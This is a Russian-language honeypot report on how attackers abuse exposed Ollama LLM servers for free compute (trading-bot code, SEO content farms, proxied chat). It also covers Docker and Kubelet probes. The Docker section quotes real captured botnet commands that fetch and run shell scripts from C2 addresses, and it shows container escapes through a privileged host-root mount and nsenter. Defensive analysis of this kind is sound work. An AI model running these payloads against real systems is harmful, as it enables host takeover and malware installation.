- BrainTools - https://www.braintools.ru -
В первой части [1] я рассказал, как ханипот поймал сканер MCP-серверов — новый вектор разведки, нацеленный на AI-инфраструктуру. Сегодня — про другую сторону: что происходит, когда атакующий находит открытый Ollama.
Статья документирует реальные сессии злоупотребления открытыми LLM-инстансами: кто подключается, какие промпты шлёт, какие модели запрашивает. Данные собраны с трёх ханипотов (DE, US, RU) за март 2026.
Ollama — популярный способ запускать LLM локально. По умолчанию он слушает на 127.0.0.1:11434, но в Docker-окружении биндится на 0.0.0.0. Множество гайдов рекомендуют выставить OLLAMA_HOST=0.0.0.0 для удалённого доступа — и без аутентификации (которой в Ollama просто нет) это делает инстанс публичным. Shodan находит сотни тысяч таких серверов. Но что конкретно делают те, кто их находит?
Я добавил Ollama-ханипот в свою сеть из 9 контейнеров на трёх серверах (Германия, США, Россия). Ханипот эмулирует Ollama API: отвечает на /api/tags, /api/version, /api/generate, /v1/chat/completions, возвращает шаблонные ответы и логирует все входящие запросы с телом. Реальный инференс не выполняется — но промпты приходят в теле HTTP-запроса и записываются до отправки ответа, поэтому мы видим полный контекст: какие модели запрашивают, какие задачи ставят, и даже историю диалога, которую клиент пересылает в поле messages.
Первое, что делает каждый сканер — проверяет, живой ли инстанс и какие модели доступны.
GET /api/tags — список моделей (Ollama native API)
GET /v1/models — список моделей (OpenAI-совместимый API)
GET /api/version — версия Ollama
GET / — просто 200 OK?
На US-ноде за неделю: 244 запроса /v1/models, 58 запросов /api/tags, 27 запросов /api/version. Кто-то проверяет одну ноду раз в 20 минут.
Отдельная категория — автоматический мониторинг. На US-ноде один IP шлёт POST /v1/chat/completions с телом:
{"messages": [{"role": "user", "content": "health-check"}]}
244 таких запроса подряд. Это не разовая проверка — это систематический мониторинг доступности. По всей видимости, кто-то добавил наш ханипот в список открытых Ollama-инстансов и периодически проверяет, отвечает ли он, перед отправкой реальных задач.
Практически все, кто идёт дальше разведки, перебирают несколько моделей:
model=llama3.1:8b prompt=Hello
model=qwen2.5:7b prompt=Hello
model=codellama:13b prompt=Hello
model=mistral:7b prompt=hello
model=deepseek:33b prompt=test
model=llama3.2 prompt=hello
Паттерн: отправить Hello или hi в каждую модель из списка. Если хоть одна ответит — инстанс пригоден для эксплуатации.
Интересен набор моделей: llama3.1, qwen2.5, codellama, mistral, deepseek — это топ-5 self-hosted моделей по популярности. Сканеры знают рынок.
Те, кто получил ответ на Hello, переходят к использованию. Мы зафиксировали три типа.
На US-ноде после серии health-check запросов приходит реальная задача:
{
"messages": [{
"role": "user",
"content": "Write Python 3 code for:ndef backtest_strategy(prices: list[float]) -> float:nUse a 10-period fast SMA and 50-period slow SMA crossover on prices, long when fast > slow, flat/short when fast < slow, and return total PnL as a float. Output only that function, no extra text."
}]
}
Один и тот же промпт отправлен 12 раз — через /api/chat, /v1/chat/completions, /v1/completions — на три разные модели (llama3.1:8b, qwen2.5:7b, codellama:13b).
Это автоматизированный трейдинг-пайплайн, который:
Сканирует интернет в поисках открытых Ollama
Проверяет доступность (health-check)
Отправляет задачу генерации торговой стратегии
Пробует все доступные модели и API-эндпоинты
Выбирает лучший результат
Бесплатный GPU для алготрейдинга за чужой счёт.
Нетипичная сессия на US-ноде. Кто-то через /v1/v1/chat/completions (двойной /v1/ — баг в клиенте) отправляет запрос, в поле messages которого видна предыдущая реплика ассистента:
Я — GLM (General Language Model), большая языковая модель, разработанная Z.ai.
Я обучена на масштабных текстовых данных...
Это Zhipu AI GLM — китайская LLM. Пользователь, видимо, настроил прокси через наш ханипот как бэкенд для GLM-совместимого клиента.
Затем приходит реальный промпт:
做一个学习毛泽东的矛盾论 有30张卡片的anki牌组
«Сделай набор из 30 Anki-карточек для изучения “Противоречий” Мао Цзэдуна»
Откуда мы знаем, что был диалог? Клиент передаёт историю в поле messages — мы видим и system prompt, и предыдущие реплики ассистента (включая готовый набор из 30 Anki-карточек в формате CSV), и новый вопрос пользователя. Наш ханипот не генерировал эти карточки — они пришли от предыдущего LLM-бэкенда, к которому клиент был подключён ранее. Это реальный студент, который (вероятно через агрегатор) подключился к открытому Ollama как бэкенду для своего LLM-приложения.
Финальный вопрос в сессии: 你是什么模型 — «Ты какая модель?». Студент заметил, что ответы идут не от привычного GLM.
На российской ноде — массовая генерация SEO-контента. Характерный паттерн:
Answer the following question thoroughly and in detail.
Question: How have neural networks and deep learning transformed AI?
RULES:
- Write a complete, detailed answer.
- Do NOT repeat the question.
- Do NOT add a preamble.
- Your LAST line must be exactly: ##ANSWER_DONE##
Answer:
Маркер ##ANSWER_DONE## — стоп-слово для парсера, который автоматически извлекает ответы.
Один и тот же шаблон с разными вопросами отправляется на три модели одновременно: llama3.1:8b, qwen2.5:7b, codellama:13b. Вероятно, система сравнивает ответы и выбирает лучший.
Темы — типичный SEO-контент про AI: «роль машинного обучения», «эволюция AI в 1970-80е», «нейросети и глубокое обучение». Промышленная генерация статей за чужой GPU.
Ещё интересный паттерн: вопрос "Reply with just 'OK'" был разложен ботом на 4 подвопроса («что это значит?», «зачем кто-то просит ответить OK?», «есть ли альтернативы?», «в каком контексте это уместно?»), и каждый подвопрос отправлен на все 3 модели. Это chain-of-thought разбивка — признак AI-агента, а не живого пользователя.
Атакующие сканируют не только Ollama — на тех же IP-адресах наших серверов мы видим параллельные атаки на всю AI/ML-инфраструктуру. Docker и Kubelet ханипоты дополняют картину.
Docker-ханипот (порт 2375, без TLS) ловит два ботнета:
Ботнет docker.selfrep (C2: 31.57.216.121) — exec в существующие контейнеры:
{
"Cmd": ["sh", "-c",
"(wget --no-check-certificate -qO- https://31.57.216.121/sh || curl -sk https://31.57.216.121/sh) | sh -s docker.selfrep"]
}
Бьёт все три ноды одинаково. Вариант для SSH-версии (apache.selfrep) зафиксирован на порту 22.
Ботнет с container escape (C2: 45.194.92.39) — серьёзнее. Создаёт привилегированный контейнер с монтированием корня хоста:
{
"Image": "alpine",
"Cmd": ["sh", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"],
"HostConfig": {
"Binds": ["/:/host"],
"Privileged": true
}
}
Base64 декодируется в:
wget http://45.194.92.39/move; curl -O http://45.194.92.39/move;
chmod 777 move; sh move; rm -rf move; rm -rf move.*
А если привилегированный контейнер не получается, второй метод — nsenter escape:
{
"Cmd": ["nsenter", "--target", "1",
"--mount", "--uts", "--ipc", "--net", "--pid",
"--", "bash", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"]
}
nsenter --target 1 — вход в namespace PID 1 (init-процесс хоста). Это полный побег из контейнера.
Kubelet-ханипот (порт 10250) ловит:
GET /api/v1/pods
GET /api/v1/nodes
GET /api/v1/services
GET /api/v1/endpoints
GET /healthz
POST /update_weights_from_tensor ← ML-специфичный эндпоинт
/update_weights_from_tensor — это не стандартный Kubernetes API. Возможно, кто-то ищет кастомные ML-пайплайны, но это может быть и результатом общего фаззинга. Сам факт появления ML-специфичных эндпоинтов в сканерах — показателен.
|
Тип |
Значение |
Контекст |
|---|---|---|
|
IP |
|
C2 ботнета docker.selfrep / apache.selfrep |
|
IP |
|
C2, container escape через nsenter + privileged mount |
|
URL |
|
Payload dropper |
|
URL |
|
Dropper shell-script |
|
Паттерн |
|
Маркер окончания в промптах контент-фермы |
|
Паттерн |
|
Health-check бот для мониторинга открытых LLM |
|
User-Agent |
|
MCP-сканер (из части 1 [1]) |
|
Эндпоинт |
|
ML-специфичный эндпоинт через Kubelet |
|
Техника |
Где |
|---|---|
|
T1595.002 Active Scanning: Vulnerability Scanning |
Сканирование Ollama, Docker, Kubelet |
|
T1496.001 Compute Hijacking |
Использование чужого GPU для инференса |
|
T1610 Deploy Container |
Docker: создание alpine-контейнера |
|
T1611 Escape to Host |
nsenter –target 1, Privileged + Binds:[“/:/host”] |
|
T1613 Container and Resource Discovery |
/containers/json, /api/v1/pods |
|
T1059.004 Command and Scripting Interpreter: Unix Shell |
Base64-encoded payload в Cmd |
Открытый Ollama = бесплатный GPU. Сканеры не просто проверяют доступность — они интегрируют найденные инстансы в автоматизированные пайплайны (трейдинг, SEO, прокси для LLM-клиентов).
Мониторинг перед использованием. Систематические health-check запросы указывают на автоматизированный мониторинг — вероятно, аналогичные проверки идут ко множеству открытых инстансов.
Spray по моделям. Атакующие пробуют 4-5 популярных моделей одновременно: llama3.1, qwen2.5, codellama, mistral, deepseek. Если хоть одна загружена — сервер пригоден.
Контент-фермы масштабируются через чужие GPU. Шаблонные промпты с ##ANSWER_DONE##, параллельная генерация на 3 моделях, автоматический выбор лучшего ответа — индустриальный подход.
Container escape — не теория. В реальных атаках наблюдаем два метода побега: privileged mount (/:/host) и nsenter в PID 1 хоста. Оба с base64-обфускацией.
Ollama:
Не выставлять в интернет без аутентификации: OLLAMA_HOST=127.0.0.1
Если нужен удалённый доступ: reverse proxy + Basic Auth / OAuth
Мониторить /api/generate и /v1/chat/completions на аномальный объём
Docker:
Порт 2375 без TLS = game over. Только 2376 + клиентские сертификаты
--privileged и Binds:["/:/host"] — блокировать через AppArmor/Seccomp или OPA/Gatekeeper
Kubelet:
Порт 10250 не должен быть доступен извне
--anonymous-auth=false, --authorization-mode=Webhook
Данные получены с мультисервисного ханипота (9 контейнеров, 29 портов, 3 сервера). Первая часть серии: Охота на AI-инфраструктуру: ханипот поймал сканер MCP-серверов [1].
Автор: fox52
Источник [2]
Сайт-источник BrainTools: https://www.braintools.ru
Путь до страницы источника: https://www.braintools.ru/article/27820
URLs in this post:
[1] первой части: https://habr.com/ru/articles/1008760/
[2] Источник: https://habr.com/ru/articles/1015646/?utm_source=habrahabr&utm_medium=rss&utm_campaign=1015646
Нажмите здесь для печати.